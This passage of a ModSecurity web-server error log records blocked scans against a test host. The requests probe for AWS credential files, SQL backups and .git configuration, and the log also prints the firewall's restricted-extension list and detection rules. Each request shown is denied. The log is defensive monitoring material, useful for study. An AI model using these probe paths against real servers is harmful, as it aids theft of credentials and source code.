&quot;aGYCJkl5jc7Rmms0x7fNCwAAAAs&quot;]
[Thu Jul 03 06:08:06.636186 2025] [:error] [pid 903586] [client 185.177.72.104:16024] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGYCJkl5jc7Rmms0x7fNCwAAAAs&quot;]
[Thu Jul 03 06:08:06.636379 2025] [:error] [pid 903586] [client 185.177.72.104:16024] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGYCJkl5jc7Rmms0x7fNCwAAAAs&quot;]
[Thu Jul 03 06:08:06.656530 2025] [:error] [pid 903586] [client 185.177.72.104:16024] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGYCJkl5jc7Rmms0x7fNDAAAAAs&quot;]
[Thu Jul 03 06:08:06.656766 2025] [:error] [pid 903586] [client 185.177.72.104:16024] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGYCJkl5jc7Rmms0x7fNDAAAAAs&quot;]
[Thu Jul 03 06:08:06.656946 2025] [:error] [pid 903586] [client 185.177.72.104:16024] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGYCJkl5jc7Rmms0x7fNDAAAAAs&quot;]
[Thu Jul 03 06:09:15.291470 2025] [:error] [pid 903582] [client 185.177.72.104:8214] [client 185.177.72.104] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup.sql&quot;] [unique_id &quot;aGYCa-A8EmNakMYNXdonZgAAAAc&quot;]
[Thu Jul 03 06:09:15.291893 2025] [:error] [pid 903582] [client 185.177.72.104:8214] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup.sql&quot;] [unique_id &quot;aGYCa-A8EmNakMYNXdonZgAAAAc&quot;]
[Thu Jul 03 06:09:15.292118 2025] [:error] [pid 903582] [client 185.177.72.104:8214] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup.sql&quot;] [unique_id &quot;aGYCa-A8EmNakMYNXdonZgAAAAc&quot;]
[Thu Jul 03 06:09:28.894772 2025] [:error] [pid 902949] [client 185.177.72.104:14302] [client 185.177.72.104] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/mysql.sql&quot;] [unique_id &quot;aGYCeHFz7LPgqS17l7Hv1wAAAAQ&quot;]
[Thu Jul 03 06:09:28.895158 2025] [:error] [pid 902949] [client 185.177.72.104:14302] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/mysql.sql&quot;] [unique_id &quot;aGYCeHFz7LPgqS17l7Hv1wAAAAQ&quot;]
[Thu Jul 03 06:09:28.895328 2025] [:error] [pid 902949] [client 185.177.72.104:14302] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/mysql.sql&quot;] [unique_id &quot;aGYCeHFz7LPgqS17l7Hv1wAAAAQ&quot;]
[Thu Jul 03 14:00:18.628343 2025] [:error] [pid 902947] [client 195.178.110.253:41542] [client 195.178.110.253] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGZw0jSdzfpFiyzUMRpIGgAAAAI&quot;]
[Thu Jul 03 14:00:18.628660 2025] [:error] [pid 902947] [client 195.178.110.253:41542] [client 195.178.110.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGZw0jSdzfpFiyzUMRpIGgAAAAI&quot;]
[Thu Jul 03 14:00:18.628838 2025] [:error] [pid 902947] [client 195.178.110.253:41542] [client 195.178.110.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGZw0jSdzfpFiyzUMRpIGgAAAAI&quot;]
[Fri Jul 04 00:51:38.617641 2025] [:error] [pid 922346] [client 93.123.109.7:49566] [client 93.123.109.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGcJeoFZvmkmlzORog2-qAAAAAA&quot;]
[Fri Jul 04 00:51:38.617946 2025] [:error] [pid 922346] [client 93.123.109.7:49566] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGcJeoFZvmkmlzORog2-qAAAAAA&quot;]
[Fri Jul 04 00:51:38.618133 2025] [:error] [pid 922346] [client 93.123.109.7:49566] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGcJeoFZvmkmlzORog2-qAAAAAA&quot;]
[Sat Jul 05 00:17:32.666485 2025] [:error] [pid 942652] [client 34.162.253.252:41300] [client 34.162.253.252] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGhS_MqXJCCoDsG49TMD5QAAAAI&quot;]
[Sat Jul 05 00:17:32.668236 2025] [:error] [pid 942652] [client 34.162.253.252:41300] [client 34.162.253.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGhS_MqXJCCoDsG49TMD5QAAAAI&quot;]
[Sat Jul 05 00:17:32.668426 2025] [:error] [pid 942652] [client 34.162.253.252:41300] [client 34.162.253.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGhS_MqXJCCoDsG49TMD5QAAAAI&quot;]
[Sat Jul 05 00:17:32.778710 2025] [:error] [pid 942652] [client 34.162.253.252:41300] [client 34.162.253.252] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGhS_MqXJCCoDsG49TMD5gAAAAI&quot;]
[Sat Jul 05 00:17:32.779007 2025] [:error] [pid 942652] [client 34.162.253.252:41300] [client 34.162.253.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGhS_MqXJCCoDsG49TMD5gAAAAI&quot;]
[Sat Jul 05 00:17:32.779246 2025] [:error] [pid 942652] [client 34.162.253.252:41300] [client 34.162.253.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGhS_MqXJCCoDsG49TMD5gAAAAI&quot;]
[Sat Jul 05 00:30:19.999758 2025] [:error] [pid 942650] [client 34.162.67.90:33276] [client 34.162.67.90] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGhV-29wyLDK4mgLIEz-ngAAAAA&quot;]
[Sat Jul 05 00:30:20.000053 2025] [:error] [pid 942650] [client 34.162.67.90:33276] [client 34.162.67.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGhV-29wyLDK4mgLIEz-ngAAAAA&quot;]
[Sat Jul 05 00:30:20.000284 2025] [:error] [pid 942650] [client 34.162.67.90:33276] [client 34.162.67.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGhV-29wyLDK4mgLIEz-ngAAAAA&quot;]
[Sat Jul 05 00:30:20.110137 2025] [:error] [pid 942650] [client 34.162.67.90:33276] [client 34.162.67.90] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGhV_G9wyLDK4mgLIEz-nwAAAAA&quot;]
[Sat Jul 05 00:30:20.110405 2025] [:error] [pid 942650] [client 34.162.67.90:33276] [client 34.162.67.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGhV_G9wyLDK4mgLIEz-nwAAAAA&quot;]
[Sat Jul 05 00:30:20.110596 2025] [:error] [pid 942650] [client 34.162.67.90:33276] [client 34.162.67.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGhV_G9wyLDK4mgLIEz-nwAAAAA&quot;]
[Sat Jul 05 06:30:31.250009 2025] [:error] [pid 945017] [client 34.162.135.97:37670] [client 34.162.135.97] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGiqZwYPiW9TpyX8Dsay9QAAAAM&quot;]
[Sat Jul 05 06:30:31.250287 2025] [:error] [pid 945017] [client 34.162.135.97:37670] [client 34.162.135.97] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGiqZwYPiW9TpyX8Dsay9QAAAAM&quot;]
[Sat Jul 05 06:30:31.250497 2025] [:error] [pid 945017] [client 34.162.135.97:37670] [client 34.162.135.97] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGiqZwYPiW9TpyX8Dsay9QAAAAM&quot;]
